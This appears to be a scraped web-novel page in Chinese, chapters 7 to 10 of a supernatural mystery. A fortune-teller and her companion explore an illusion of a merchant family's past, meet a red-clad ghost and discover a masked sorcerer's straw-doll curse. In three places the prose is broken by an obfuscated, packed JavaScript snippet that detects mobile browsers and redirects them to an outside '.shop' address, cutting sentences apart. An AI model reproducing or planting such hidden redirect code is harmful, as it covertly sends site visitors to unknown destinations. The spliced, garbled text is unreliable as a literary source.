p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562349|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宁愣了愣,垂下眼睛,长叹一声。 “夫人直言便可,我既是老爷找来替夫人算命的,当然也得替您排忧解难,说不定,您这忧思一吐,都不用什么辟邪术法,日后反倒过得畅快。” 又是一次铜板落下。再被拾起。 付宁抬眼,看向眼前和自己儿子差不多大的姑娘板着脸一本正经地开解她,轻轻笑了两声,说:“唉,世才肯定没有你这般口才,他啊,就是随了我……” “我本就是笨手笨脚,记东西也不牢靠,世才呢,被送去学堂读书,也每每都是被训斥的那个,回来再做些什么惹老爷厌烦,世长也是。” 说到此处,语气带上了些委屈,看得小丫鬟心中难受,弱弱唤了声“夫人”。 付宁拍拍搭在肩上的手,叹道:“我有时候就想啊,如果他们是桂枝姐姐的孩子就好了……桂枝姐姐手不光巧,念过的书能记住大半,红儿也乖,小小年纪听着母亲念诗,自己就能作出一首来……” 说时,满脸艳羡。 铜板落于桌面,这一次,没有再收回去,芩竹执笔,在纸上做了标记,缓缓道:“但这些,仅仅代表王少爷不善文,怎么凭借这些听信了他们的话呢?” 付宁眨了眨眼,说:“有位大师说世才活不过二十。老爷告诉我的,而且那大师十几年之前替房子看过风水,老爷还特别夸奖过他,应该不会错的。” “这月生辰马上到了……他偏偏这会发热,差些栽进井里,老爷说那术士告诉了他解法,可我……还是心慌。”付宁说着,险些要急哭了。 芩竹点点头,将桌上的纸向付宁的方向推了推,却也没有完全推过去,胳膊肘的地方不经意压住了大半,然后指着那几个卦象,抬眸说给付宁听。 “这卦象为升,乃晋升之道,”然后又斜瞟了眼掐指的手,“二者相合,便是安康顺遂,学业有成。” 一字一句讲得斩钉截铁,付宁听得呆愣,半晌没缓过劲来,想再仔细去看那纸上的卦象,被芩竹不动声色地先一步将纸折了起来,自顾自说道:“想必王老爷想得法子不错。” 付宁这才听懂了,惊喜道:“大师所言当真!” “当真。”说得她自己都信了,付宁没道理不信。芩竹默默将那纸揣进怀里。 “好好好,”付宁捏着小丫鬟的手念叨,然后忽然想起什么,朝芩竹道,“那能不能给桂枝姐姐也算算,便是大夫人,我去寻!” 芩竹听着外面响声已然变小,就起身将她们拦下,说:“二位留步,我去将夫人寻来便是,刚好再去向王老爷回个话” 本还欲再劝,一听后半句话,付宁只好作罢,起身望着芩竹出门,这让她想磨蹭一下都不行,生怕被这两过去时间里的人发现什么异常,硬着头皮将门打开,快速瞄了一眼,发现厅中没人后,又立刻关上,贴着门板移到拐角的文松后面。 她扳着花瓶的边缘,探头听着院中的动静,安静无人时,便想起身再去一趟桂枝的房间。 起初来此是因为那奇怪的铜针和木条,那么解开这幻境理应也该从那个东西下手。 这么想着,芩竹便已探身出去,然而刚跨出一步,侧边便响起几道脚步声,她不知那是人是鬼,于是又重新缩了回去。 偏头去看,来人竟然是王老爷。 他跨进厅中一拐,露出了身后的一个陌生男人,瘦瘦高高脸上盖着一层丑陋的人脸面具,面具没有孔洞,惨白的底,谈不上好坏的画工所勾出的五官,看得人心中发毛。 而那人也用不着视物一般,跟在王老爷身后脚步平稳,跨过门槛也是格外顺利。 步履间,手中提着的一个盒子打晃。 芩竹眯着眼打量那时而从腿边露出的盒子,没看出个所以然,腰间的碎块却是已经作出了反应。 它骤然悬空而起,就想朝着那处飞去,却被面前的花瓶挡下,发出了“叮”的一声脆响。 她赶紧缩回脑袋,抬手压住那碎块,半晌大气不敢出,手里的碎块在这会简直像是发疯一般要跟着那陌生男人,芩竹真是怀疑自己手底下按的不是拇指大的东西,而是一头驴。 不过好在,前面那两人并没有发现她,转身去了屋里。 鉴于碎块不寻常的反应,芩竹又等了等,也跟去了桂枝的房门口,推开条缝去看。 原本放床的位置不见床,那个陌生的男人蹲在那里,低头在捣弄着些什么,看那动作,应该在挖土。 她又侧了侧身,见那男人打开了旁边的盒子,拿出一个东西,看不太真切……像是个木偶人。不对,之前手在土中明明摸着很扎,那就不是木偶,而是——草人。 那草人胸前还贴着什么,没看清楚,男人就放在了他面前,然后又拿出木条,接着是一根半臂长的铜针。 芩竹看着那男人应该在面前摆弄了一阵,嘴中嗡嗡嗡不知念着什么,再是抬起手中的长针,用力向下一插。 分明该是没有声响,而那刻,耳边却好像能听到皮肉破开,刺入血肉的声音。 同时腰间的碎块停顿一瞬,再便是更加猛烈的挣扎,它似乎格外痛苦,每一下动作都带着巨大的力道。 芩竹死死按着他,没有立刻走开。在眼前的那条门缝里,她没有看到一个应该叫桂枝的女人,只看到一抹红色的高挺身影,转瞬即逝。 是谁。 屋内那两人做完了最后的事情,起身掸了掸腿上的灰就要出来。芩竹也不能再呆在门口,向后退了一步便要离开。 而这时,几道脚步踩在地上的声音,已然近至身后,陌生姑娘的问候响起:“欸?这位是?” 8. 旧人遇 身后是逼至近处的已故之人,身前是即将出门的陌生人,芩竹一时间进退两难,定在原地没有动作。 背后大概是丫鬟的姑娘见她不回话,便又问了一句,伸出手来按上她的肩膀。 芩竹微微偏了偏头,余光看着旁边两步外就能跨出的正厅大门,回答她:“老爷在屋里叫你,过来。” 丫鬟听见这话,疑惑地“欸”了声,前进两步来到门前,刚好和芩竹并肩的位置,但她因为惦记着芩竹刚才的话,目光始终对着那扇半开的门,芩竹便卡着她没有侧头的这一点时间,快步退后扭身就跑。 结果毫无预兆地撞上了一个伙计的肩。 她呼吸一滞,控制住差些抬起的脑袋,道了声“抱歉”,侧过身小跑跨过门槛。 然而事情就是这么不巧,一拐弯,视线被一张移动的大床占据,她刚要紧急换个方向,就和抬着床边的一个伙计对上了眼神。 芩竹便也不管什么避不避开眼神的事了,撒腿就跑。 身后“咚”的一声巨响,那几个伙计扔下大床,白着一张脸向她追来。 从内院正厅奔出来,芩竹还没有找到能阻断身后那些鬼视线的东西,一直快到前院,她瞄到右侧的一棵老树,于是前跑几步晃了那些鬼一下,再快速返回来手脚并用蹬上树杈,一个旋身落在了墙的另一头。 撑着膝盖落地,还不等芩竹松一口气,抬眼又是几个端着木盘的丫鬟。一见到她,又都是个个失心疯般摔了木盆朝她嘶吼着扑来。 芩竹不敢耽误,起身推开就近的角门躲了进去。 这里倒是没有贴脸而来的鬼脸,芩竹喘了两口气,平移着挪去墙边的一棵树后,静静观察了下院中的样子,大概是个书房。 这里暂时没有人过来,可听着另一边院墙的声音,这个“暂时”的可能性不知道又有多大。 芩竹扭头两边看了看,直接跑进了那间书房,反手关上门的那一刻,屋内烛火瞬间亮起,芩竹手指颤了下,就要重新打开门出去,然而却是徒劳。 她迅速转过身,后背贴着门,眼睛在房内快速扫一圈,并没有人,连声音也没有,不,现在开始有了。 笃笃笃—— 是碎块敲击木牌的声音。 说来奇怪,来了这个幻境后除了之前看到那陌生男人时碎块像发受了刺激,其余时间都很安静。再就是此刻。 屋内静谧,清晨刺骨的寒风从窗外吹进来,将芩竹额角滑落在下巴的汗珠吹得一斜,歪歪扭扭砸在领口上,渗人的阴气无孔不入,甚至钻进门板和后背,窜进衣裳里贴着脊梁骨上溢出的冷汗。 她向边上移了两步,警惕着眼前,手从包袱中抽出了两张黄符夹在指尖,靠在旁边的小柜角落。 腰间碎块震动的幅度越来越大,鼻间浅浅萦绕着一股异香,像是雨后的泥土,这味道越来越浓,渐渐弥漫整个屋子,这一刻,她就像是置身于某个山头,脚下是看不出名字的红色小花。 脸发丝在脸侧不寻常地扫了两下,芩竹猛然回神,几乎是瞬间便将一张符拍在了身边空无一人的虚空处。 突然,符纸闪出亮光,一个人形轮廓显现出来。 芩竹赶忙撒手离开,那轮廓却忽然动了,她撤到一半的手没有拉动,手心缠着股巨大的力道将她猛地拽了回来。 手掌上简单的包扎根本经不起这样的力度,血迹很快渗出从布料缝隙中流出。芩竹心跳的快了些,碎块骤然嗡鸣。 她手上用力,小心挣扎了下,血迹沿着手指滑落,却没有坠下,反而是触碰到了那人形的轮廓。 一时间,符纸光芒更盛,一身醒目的红衣出现在她眼前,同时,肌肤相贴,冰凉的触感顺着手心刺痛的伤口曼延至整条手臂。 手臂的麻木使得芩竹一如既往的面瘫终于裂开条缝,向后挣了挣,微微拧眉朝上看去。 面前的红衣不知人或鬼比自己高大半个头,明明一身鲜亮的颜色,却是浑身死气沉沉,活像那话本里新婚之夜含冤而死的……到这里成了新郎。 可偏偏他脑门上被自己贴了张黄符,加上他身子板正硬挺,这么望过去,又和赶尸人身后跟着的那一串僵尸一样呆。 芩竹心情复杂,她敢说这是自她被雷劈以来,情绪起伏最大的一次。 大到为了活命,芩竹也顾不上什么,捏了三个诀,在手上炸出几道金光,反手拍上面前这人脑门的符纸。 符纸滚过流光,眼前红衣人浑身一震,握着芩竹手上的力道减轻。 她趁着这个机会,使劲一抽手,避过他就去扳门,门倒是开了,却依旧没能出去,被腰间的一股神秘力量拉停了脚步。 芩竹愣了下,强硬地压回那悬起的碎块,使劲拉开门刚跨出门槛,又一头扎在了个宽厚的胸膛上反被撞得退后,脚跟在门槛上绊了一下踉跄着重新踩回房间。 她瞪圆眼睛,眼睁睁看着眼前这个顶着符纸的“僵尸”,十分随意地抬起手揭掉脑门上的符,露出张并不伤眼的脸。 不伤眼,是说他并不像之前那些鬼脸一般惨白骇人,反而浓眉大眼,抬眼看过来,竟然还有种无辜和兴奋。 但芩竹这时候根本反应不过来,她眼中只能看见这货指尖挑衅般夹着她的符纸,还莫名其妙朝她勾了勾嘴角。 芩竹:……见鬼。 她磨了磨牙,动作奇快地抽去了那被移在脸侧的符纸,面无表情地重新赏给了眼前鬼的脸,撒腿就跑,直冲着对面的角门而去,开门,关门,长叹一声! 然后听到一阵刀刃跺在板上的声音,还有油与食材相触的爆炒声。 她来到了厨房。 这院里明显忙碌的氛围说明了大事不妙。 芩竹脚步踌躇了下,想到了上个院中的构造,那个角落似乎堆着一些木箱,应该可以翻过院墙。 可那里有个邪门的红色人物…… 正想着,贴着的门板后面,忽然响起了一道熟悉的声音,微弱,短促的求救。 芩竹顿了顿,耳朵在门上贴住,仔细辨别一番,眼神一凛,果断推开门冲进刚才的院里,喊道:“姜绾!” 侧边厢房中发出一声急喘,姜绾艰难地咳出声,用尽力气却也喊发得出一个不完整的音节,但这声音也够芩竹分辨方位了。 她快步推开旁边厢房的门,就见姜绾的背影浮在空中,脑袋和手脚无力地垂下,鹅黄色的纤细身影前是那抹令人心中一紧的红。 芩竹动作不停,冲去时拎起旁边的凳子避开姜绾砸了过去。 那道身影往开躲了一下,连带着姜绾也像个牵线的风筝似的向一边甩过去。 “姜绾!听见我说话吗!”芩竹大声道,踏过刚才的凳子拽住姜绾的腰想将人拉下来,发现无济于事之后,便直接借力旋身一脚侧踢到面前那站得直愣愣的“僵尸”身上。 直将那人踢得撤后两步。 姜绾的身子晃了晃,急促喘息起来。 芩竹见状,一脚过后又接上一脚,用劲踏上这人胸口,使力一蹬。 这人原本僵硬的表情忽然有那么一瞬间的怔愣,明明抬起护住胸口的手诡异地顿了一下,便硬硬受了这一脚,整个人向后飞去,砸得桌凳齐飞,最后伴着飞灰撞在后面的木柜上,被摇晃中不堪重负倒下的柜子和柜中书本埋得严严实实。 牵着姜绾的那根“风筝线”断了,她也从半空中落在地上,抱着她的芩竹落地时撑了一下,连拖带拽地将人移出了房间。 芩竹不知道这院中还会不会来人,因而把人拉在院墙的木箱旁,推下一个箱子勉强将人挡住,疯狂拍打她的脸:“醒醒!” “我……等下……”姜绾皱着眉避开她的手,努力睁开眼,但又莫名无力,撑着芩竹的手也使不上劲,心里直泛恶心:“芩竹,我,我是不是要死了……” 她说一句话喘三口,出气比进气还多,芩竹很难不怀疑她会不会把自己憋死。 “我想吐……”姜绾说着都开始泛起了泪花,难受到现在突然胡言乱语些芩竹都听不懂的话。 她舔了舔唇,把姜绾使劲往怀里搂了下,快速将手里那张没来得及用的符纸用火折点燃,直接攥进手心,又掏出怀中的水壶,将手里燃尽的灰洒了进去,胡乱摇了两下对上姜绾的嘴,坚定道:“喝了就不难受了。” 这时候姜绾其实压根听不见旁边人说的是什么,完全凭借着本能,有水流进口中就舔,越来越多就喝。 而芩竹独来独往惯了,也根本不会什么照顾人的手法,只着急将人弄活了逃命,举着水壶的手越来越高,直到姜绾终于呛咳了一口,她才停下手,粗糙地擦了她的脸一把,喊了几声名字。 “我!咳咳!什么东西辣嗓子!”姜绾不愧是从头到尾被法器滋养的,稍微有些意识声音都中气十足。 芩竹板着脸一把捂住她的嘴,刚才给她擦脸的手上还未干的液体又重新糊了上去,辛辣的味道刺激的姜绾赶紧偏过头打了个喷嚏。 这算是全好了。 芩竹也就收了水壶,又去堆木箱,还不忘回答她刚才的问题:“符纸灰泡的酒。” “……酒?合着你那壶里是酒啊!”姜绾先是惊讶了一番,后又忽然反应过来,急道,“不是,你用了多少符纸!把包袱还我!” 芩竹想了想,说,又用了两张,然后也不管姜绾在那里心疼钱财,一把将她拽过来推上木箱:“上去。” 姜绾到底知道当下情况,忙忙按着她的说法爬上墙头,又回头拉了她一把,两人翻过院墙,撑着墙头看了眼,发现这里是前院游廊,没什么人的样子。 两人对视一眼,干脆落下,然而就在脚踩在地面的那刻,周遭环境忽然发生了奇怪的变化,刚刚还蒙蒙亮的天瞬间亮起,日头正正好悬在头顶。 这突然的光线变换,两人皆是抬臂挡脸,反应过来后赶忙蹲下身挪着小步向前移,缩到前面长廊的台阶,靠它和周遭的花草将两人的身形遮起来。 之前芩竹在桂枝夫人房中见到的王老爷现在又出现在了这里,其实这么看过去,王老爷虽胖,但这时候的他脊背挺得很直,站在那里就显得气势十足,且看面容,外面的那个王老爷也好,刚刚桂枝夫人房中的那个也好,都不及这位年轻,精气神也远远比不上。 所以这个院里,时间又是向前流到了什么时候?线索太少也判断不出来,而且两人也不好冒然出去,于是就在台阶下安静窝着,只露出四只眼睛盯着那处。 不久,付宁来了,两人在对面廊下的石桌边坐着喝茶,距离太远,隐隐约约能听到说话声,却听不清内容,颇有些抓心挠肝。 这时,从后院的方向跑来了个丫鬟,口中喊着“老爷”,声音倒是大得够这两个蹲在一边的听清:“老爷,大夫人生了,是个小姐……” 王老爷执杯的手顿了顿,芩竹看见他微微拧着的眉松开,将茶杯随意扔在桌上,朝身后的丫鬟摆了摆手,转过脸来看向付宁:“世才这两日如何了?” 姜绾表情说不上好,默默换了个姿势,缓了缓撑麻了的右腿,芩竹注意到她的动作,转眼看过来,刚想问一声,眼前的光线又变了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562350|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她迅速抬头去看,就看刚才原本还是正午的太阳此时正快速地朝东移去,白日转黑,再看那亮白的圆从西而起继续滚落去东边,同时,院中多出了许许多多重叠的人影,他们快速地来又快速地走,就像是在院中演了场加速的皮影戏。 不知又是拉回了多少年岁。 姜绾震惊得看着眼前这一幕,还是决定抱上芩竹的胳膊。 终于,这场戏缓缓慢了下来,最终停在了一个安静的午后,日头西落,像是深冬,寒风刺骨。 而院中正躺着一个二十左右和芩竹差不多大的姑娘,长发盘在头顶穿得还算暖和,只不过浑身是土,侧趴着紧蹙着眉一动不动。 廊下的两人不敢发出动静,充其量也只是抻长脖子去看那院中人究竟怎么了。那么单薄的身影,感觉再这么躺下去就要一睡不起了。 但也没有让她们两人焦急多久,时间继续向前推移,还是午后,可这次,院中不只有那一个姑娘,还有几个拿着木棍的大汉。 芩竹眉头向下压了压,攀着台阶的手用力,死死盯着被大汉围在中间跪坐着的姑娘。 一个大汉从旁边的石桌上拿起碗往口中灌了一口,也不管淌在衣服上的液体,突然抬起木根就向那姑娘打去。 姜绾被吓了一跳,手拽着芩竹的胳膊下意识是向她身后偏了偏头。 第一个大汉有了动作,其余便也跟了上来,口中带着恶意喊道:“生不生!” 可姑娘根本回答不出什么,努力护着腹部,缩成一团。 姜绾听着院中的痛呼,心跳得飞快,不知不觉手上的力道大得攥上了芩竹胳膊上的肉,芩竹侧头看了眼姜绾,可她没有阻止她的动作,只静静看着。 眼前姑娘脸白的吓人,红着眼盯着院里的一举一动,芩竹睫毛微微眨了下,看见姜绾脸侧陷出了道纹,那是使劲咬牙会显现出的痕迹,眼睛的红和芩竹手臂上的痛一样变得更甚,下一刻,颤抖的睫毛中滚下一滴泪,芩竹胳膊上的力道骤然松了,而她也在这时抬手,将欲冲进院中的姜绾拽了回来。 “你放——”芩竹捂住姜绾未能吐出的后半句话,带着人又向台阶下趴了趴。 “这是过去,你现在改变不了什么,他们已经死了。”芩竹淡漠的气声打在姜绾耳边。 姜绾看着这个神色淡淡的人,觉得她真是可怕,捂着自己嘴的那只手稳稳当当,就和现在毫无波澜的眼神一样,好像不管发生什么不会对她造成什么影响。 救人,帮忙,这些像是芩竹下意识要这么做,而不是她想,或是那种为了天下苍生般的大义。 芩竹不知道姜绾心里想了那么多,就看见这孩子忽然熄了气焰闭上眼睛,温热的液体滑上手背渗进手心,她没有将手移开,一直等到院中的大汉散去,只剩下扯风箱似的喘息和低哑的哭声。 她扭头看向院中那抹孤单的身影,又以平直的视线滑向姜绾。 两个毫无关系甚至连时间都没有重叠的人,是以什么样的感情共鸣的呢? 芩竹不懂。从很久之前开始她就知道自己和大多数不太一样,她理解不了太多复杂的感情,而且还失去了前半生的记忆。 这就导致前几年过得并不太好,常识要从头记,和人们的相处也要从头悟,说一句颠沛流离也不算过。 好在自己还有点说不上厉害的手段,靠着那传闻里好坏参半的国师,这点手段可以让她半被鄙夷半被尊敬地混下去。 毕竟……她吃得也不是很多,穿得也不是很多。 难得想得跑了偏,芩竹将眼神从姜绾身上移开,伸展手掌想从怀里掏出个东西擦擦手上的口水,结果不小心把塞在衣襟里的一张折得乱七八糟的纸带了出来。 这东西掉地上压根没什么声音,本也不会引起好奇,可偏偏姜绾现在心情复杂,急需别的东西转移一下注意,所以在它掉下去时,便眼疾手快地捞了起来。 嘴上说着“这是什么”,手上已经拆开了大半。 姜绾眨掉眼角的泪水,对着纸上面的鬼画符瞪了半天,把纸面翻过去展示给芩竹,木着脸道:“你写来干嘛的?别告诉我是……” 芩竹擦着手,瞥了眼那张纸,说:“那会给付宁算了一卦。” 姜绾木着的表情裂开,爬过去凑到她脸跟前,真诚道:“你就拿这个给她算,没被当成骗子打出来吗?” 芩竹向下扫了自己全身,然后回道:“没有。” “啧啧啧,”姜绾咋舌,瘪着嘴将那张纸重新叠好丢进自己包袱里,叹道,“你比我还适合当个江湖骗子。” 说到这忽然灵光一闪,急道:“对啊!你这脸实在太适合了,我们一起,一定能混得风生水起!考虑一下!” 风生水起芩竹倒是不太在意,但她一向没什么所谓,回答:“等我找到我要的东西。” 姜绾:……说了半天! 几句打趣总算不让姜绾心情太过难受,她定了定心,转身攀上游廊台阶,想看看院中那个姑娘如何了。 可她刚抬起头,却忽然感觉一阵寒意从后颈窜上天灵盖,那股熟悉的不好的预感猛然袭来,让她果断放弃台阶边缘,反手去抓身旁芩竹的胳膊。 然而原本非常顺手的胳膊手感不在,两只手仿佛是深进了雪堆里,一下子被冻得麻木。 姜绾懵然回头,却不想,身侧豆绿的颜色不在,大片的红占据视线。 一瞬间,之前不好的回忆涌上心头,却又顾忌着不敢大叫出声,于是出声就像一只被攥住脖子的鸡,气息急促又小声道:“芩竹啊!!!” 9. 旧人遇 姜绾睁大眼睛瞪着突然冒出蹲在她和芩竹中间的红衣鬼,惊恐喊出声后四肢不自觉地向后挪动。 然而还不等她的惧意升到顶峰直接撅过去,眼前这个差点要了她性命的红衣鬼忽然被后面绿衣服的胳膊一巴掌扇去了院墙下的干草堆里。 姜绾:…… 那身影飞走的太快,姜绾只来得及看见一道红色虚影,面前的人就换成了芩竹。 “符。”这人一个字说的声都不带喘,好像刚才打了只大红蚊子。 姜绾现在也不管什么钱不钱的了,急忙抽出一张递过去,芩竹接过,快步过去,却看那干草堆晃了晃,那只大红蚊子——不,红衣鬼踉跄着起身,耷拉着眉毛抬眸看向她,嘴唇翕张:“不会了。” 他身上还扎着干草,缠着马尾的红色发带颜色都暗了下来,和发尾一起恹恹地搭在肩前,眼睛睁得稍圆,亮晶晶地看过来,左右眼各写一个字,俩字合成一个词——无辜。 芩竹必然能看出来,动作顿了下。 红衣鬼察觉到她动作小小地停顿,眼睛快速地眨了两下,刚想开口,眼前视线便被一道黄色盖住大半,手脚顿时发麻。 芩竹动作不敢停,转身去拉姜绾,两人欲穿过前厅,那里却先她们一步走来了几个人,无法,又重新鹌鹑似的缩回去。 打头的那个走近一看,是付宁和她的小丫鬟,这时的二夫人像是刚从哪里赶回来,穿得很是华丽,小跑着过来看见院中躺倒的姑娘时,明显慌乱,惊呼道:“桂枝姐姐!” 她就是桂枝!躲在廊下的两人对视了一瞬。 “快来人!”付宁不顾地上的赃污,拖着衣摆蹲在地上想要将桂枝扶起来,被小丫鬟拦了下来,身后几个跟着的丫鬟跑来搭手。 目送着桂枝被背走,付宁泄了气坐在石凳上,一言不发。 小丫鬟攥着手看着自家主子,抿抿嘴安慰道:“夫人,您别担心,大夫已经请来了,大夫人一定没事的。” 付宁垂头看着自己的被踩脏了的衣摆,手攥成拳又放开,叹道:“老爷什么时候回来?” “今日陈家设宴,估摸着得入夜。” “嗯……”付宁深深吸气,攥着自己衣摆上的飘带,像是随意提出一个提议,“咱们明日带桂枝姐姐去求子庙吧。” 丫鬟轻轻应声,没有搭话,她觉得付宁的话应该没有说完,果然,淡淡的声音又响了起来:“世才今日没见到桂枝姐姐,恐怕又要闹了。” “你说,那么多奇方,那么多药,怎么就是没有用呢?”付宁这时候年岁比桂枝还要小一些,看上去困惑极了。 “说不定是有什么紫微星等着转世,缘分到了自然就到了大夫人肚子里了呢。” 丫鬟也不知道为什么,想了半天也只憋出来这么一句。 付宁当然听出来她的意思,又静静坐了一会,提起一个笑容,长叹一声:“走吧……” “是。” 芩竹缩回身子,旁边姜绾的声音便钻进耳朵:“他们是想让桂枝夫人生孩子,但一直怀不上是吗?” 芩竹点点头,又听她气鼓鼓地道:“未曾苛待,竟是这般。” 毕竟是人家的家事,还是旧事,再怎么样的也管不着。芩竹侧耳听了听周边的声音,确定没有要来人的迹象后,对姜绾道:“从这里出去还要再回桂枝的房子拔了那个……阵眼,应该才能出去。” 她想了想用了这个不知恰不恰当的词。 姜绾现在反正也是跟着她,说什么无脑点头就行了。 正当这时,所处环境光线又变了,也可以说是时间又一次发生变换,同时,两人身后再次爬上某种无法明说的发毛感。 阴寒的气息简直像是长了无数条腿,一脚一脚点在脊柱上往脑袋顶爬。 姜绾瞬间就缩着脖子不受控地打了个激灵,手脚麻的一时都忘了动作,僵着身子死活不回头,眼神狂瞟芩竹。 而那人依旧顶着冰块脸,可姜绾此刻竟然莫名觉得她那双黑洞洞的眼睛里飘过了一丝无语。 “我不说话。”清润的少年音,像是刻意提高了些声调,就显得更嫩了些,还带了讨好的意味。 当然在场三人大概也只有他这么觉得,其余两个,一个迟钝,一个惊惧,都恨不得打死他。 姜绾实在不想对这句话发表什么见解,满嘴叨叨着不知从哪学的咒语,把希望给予芩竹,颇为顾全大局地悄悄交给芩竹一张符纸。 “我没有摘。” 姜绾:…… 芩竹:…… 姜绾快要吓哭了,她只觉得这鬼是看见她的动作故意说来彰显自己的厉害,顺便来挑衅的。 已经接过符纸的芩竹却是觉得奇怪,因为自己腰间的碎块从见了这红衣鬼后就没消停过,而且——这只鬼是不是有点太窝囊了? 她回过头,迎面就是个顶着黄纸的大脸,见到她看过来,还又向前凑了凑,逼得芩竹不得已要向后仰头才不至于入目满是纸上的红纹。 而且这货不是芩竹回头他才看过来的那种,反而像是一直在背后盯着她。 不过倒也没说谎,的确是贴得好好的,就是贴着符乱跑也怪讽刺的。 芩竹抬手把他头上的符摘下来在手里和另一张叠在一起捋平,看着这一脸欣喜的鬼,问:“你想说什么?” 红衣鬼似乎对芩竹和他说话非常高兴,说:“我要和你一起。” 姜绾在旁边都快憋窒息了,结果听见了这么一句,好险没用口水把自己噎死。 芩竹对这个答案没多大反应,只是疑惑:“为什么?你要夺我的舍?” “没有,我不是……” 这会芩竹观察他的举动,才发现这只鬼像是说话用词都不太熟练的样子,而且他这句话后半句的停顿也不像在解释,倒像是强调自己的身份。 不是什么?他不是什么? “你不是鬼?”芩竹说。 红衣鬼开心点头,然而下一刻的芩竹——“我不信。” 红衣鬼表情空白,但像是真的语言匮乏,蹙眉盯着她想说什么,却只能说些“我不是”之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562351|142769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类的话。 芩竹一直紧绷的身子放松了些,面前的鬼除了浑身过剩的阴气之外,真的毫无恶意,甚至还有点过于……卑微了。 这都什么跟什么。 芩竹看着他纠结的脸,打断他:“可你刚才要杀了她。” “她,有……气,不舒服。” 想来那是残留在姜绾身上的法器气息惹到他了。看着红衣鬼的架势,反正也甩不掉了,那也只能带着。 芩竹看了眼缩成一团的姜绾,再次看向他:“你可以跟着我,但要听我的,没事不能乱动和说话。” “……”他想了想,点头。 姜绾震惊于芩竹真的和这红衣鬼达成奇怪的协议,但又没有别的解决办法,只好作罢,收下芩竹还给她的两张符。 院里没有来人,几人便起身转去前厅,靠到近处时忽闻厅中有两人在谈话,芩竹连忙停下脚步,将身后两个拦住,听里面其中一个声音像是王老爷的人开口在请另一位喝茶,还带着寒暄:“一晃十几年不见了,大师,真是要谢谢您给家中修缮出的主意啊。” 另一人客气两句,开口询问:“近两年如何了?” 王老爷笑笑,随意讲了些,意指家中一切安好。 听见这个答案,那人似乎安静下来喝了口烫茶,吸溜一声,突兀问了句:“冒昧问问老爷,家中是否有位千金。” 厅中沉默了一瞬,芩竹偏头贴上门边,听见王老爷沉声道:“我的二女儿,不知大师何意?” “这些时日阴器现世,国师特派我等注意,你们宅中阴气过重,想必是让那脏东西寻了机会溜了进来。”这位大师慢悠悠说。 一听与那吓人玩意有牵连,王老爷虽是强行压稳声音,却也难免漏出些忐忑:“这,是否有影响?” 大师依旧声音平缓:“听闻老爷的儿子们……才情容貌不论哪样都有些逊色。也许这怪不到您头上,阴器会寻人寄托,说不定是附在你那二女儿身上了,才使得家中阴阳颠倒,阴气过重。要是耽搁了,家运下滑,后半生堪忧。” “可这……”王老爷刚出声,那头继续道:“不过没事,我本就是为国师排忧解难,定要先从你家下手,解了这难题。” 似乎有什么碰撞发出的声音,芩竹在外听不清,却觉得熟悉,应该是那位大师给了王老爷什么。 “带上这东西,按我说的做,一切都不用担心。” 芩竹稍稍往后退了些,思索这段故事的时间。 十几年前来过的大师,如果按付宁的话猜测,这时候就是三年前,那么王老爷请来木工的理由就说的通了,大概就是听这位大师给他说的那什么解法。 现在看来,解法是什么已经明了。王老爷是被这不知身份的大师忽悠了,虽说王世才确是成了才,可并非解了什么,而是靠着骇人的邪术。 芩竹不想在这里浪费时间,前厅出不去,记起刚才趴着的走廊对面有个角门,便在底下拍了下姜绾的手,示意她跟着自己。 率先转身过去,发现背后站着个人。 10. 旧人遇 这人脸色煞白,眼睛睁圆红血丝挤在眼白里,一脸震惊地越过芩竹她们看向前厅里,就像是一只无魂的野鬼跑了出来。 芩竹转过身来看到这一幕,脑中就跳起一个念头——完了。迅速就去捂姜绾的嘴。 然而还是晚了一步,一声短促的惊呼响起,姜绾被吓了一跳,身体都往后退了一步,撞在身后的门板上,这回动静搞出不小。 情有可原,任谁在这种情况下突然看到身后站着个一脸倒霉相的人不害怕。虽然这人……是表情恍惚的王世才。他应该是听了全程,这会还没缓过来。 芩竹扶了一把狂拍胸脯的姜绾,就听前厅中王老爷喝道:“谁在那!”接着旁边的那位大师立刻接道:“老爷,这可留不得啊……”然后便有几道凌乱的脚步声从后面跑来。 芩竹也没空计较王世才是怎么回事了,托了一下姜绾提醒她要走,姜绾也早就听到了前厅的对话,直接从她怀里跳起来,还十分贴心地扯上发呆的王世才,往角门冲去。 角门在对面,必要越过前厅大门,芩竹回头看了眼身后没有声响的红衣鬼,那鬼正靠着墙静静看她,看这样子,是早就发现了王世才。 芩竹盯着他微微偏了偏头,那鬼食指拇指并拢在嘴唇的位置划了一下,接着伸出食指冲她摇了摇,意思是:不能说话。 好好好,是她说的没错。 芩竹也不管他,跟上姜绾就跑,经过大门时向厅中看了一眼,虽是有块屏风挡着,但她依稀能看出,那个大师的诡异面具。 匆匆跑到角门时,她本意推门的手忽然被人按住了。 这只手冰凉至极,芩竹下意识缩了下,身侧贴来道身影,还不等她拨开这阴魂不散的鬼,面前的门突然被打开,两道人影狼狈钻进来,又重新拍上门,站在芩竹面前可劲喘气。 “有……有鬼。”姜绾和芩竹告完状,眼神不小心瞟到她身后那只红衣鬼,默默闭嘴。 